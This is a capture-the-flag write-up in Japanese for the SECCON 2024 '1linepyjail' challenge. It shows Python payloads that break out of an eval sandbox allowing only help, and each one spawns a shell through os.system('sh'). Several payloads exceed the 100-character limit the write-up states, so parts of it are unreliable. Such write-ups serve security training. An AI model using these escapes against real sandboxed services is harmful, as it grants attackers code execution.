SECCON 2024 Quals - 1linepyjail
Challenge
print(eval(input()[:100], {"__builtins__": {"help": help}}))100文字以内で、help のみが使える builtins から脱出する。
Solution
help() から pdb へ
help() を対話モードで起動し、特定のオブジェクトのヘルプを表示させることで pdb を起動できる。
help()対話モードに入った後:
help> pdbこれにより pdb のドキュメントが表示され、一部の環境では pager (less など) が起動する。pager から !command でシェルコマンドを実行可能。
_Helper クラスの利用
help は _Helper クラスのインスタンス。このクラスから builtins にアクセス可能。
help.__class__.__repr__.__globals__['sys'].modules['os'].system('sh')100文字制限への対応
ペイロードを短縮:
help.__class__.__call__.__globals__['sys'].modules['os'].system('sh')または:
[x for x in help.__class__.__mro__[-1].__subclasses__() if 'war' in str(x)][0]()._module.__builtins__['__import__']('os').system('sh')Alternative Solutions
別解1: license() 経由
help の内部で license() 相当の機能にアクセス:
# license() の pager を利用してシェルを取得別解2: breakpointhook
help.__class__.__init__.__globals__['__builtins__']['breakpoint']()# pdb が起動# (Pdb) import os; os.system('sh')Flag
SECCON{...}
References
- SECCON 2024 Quals Official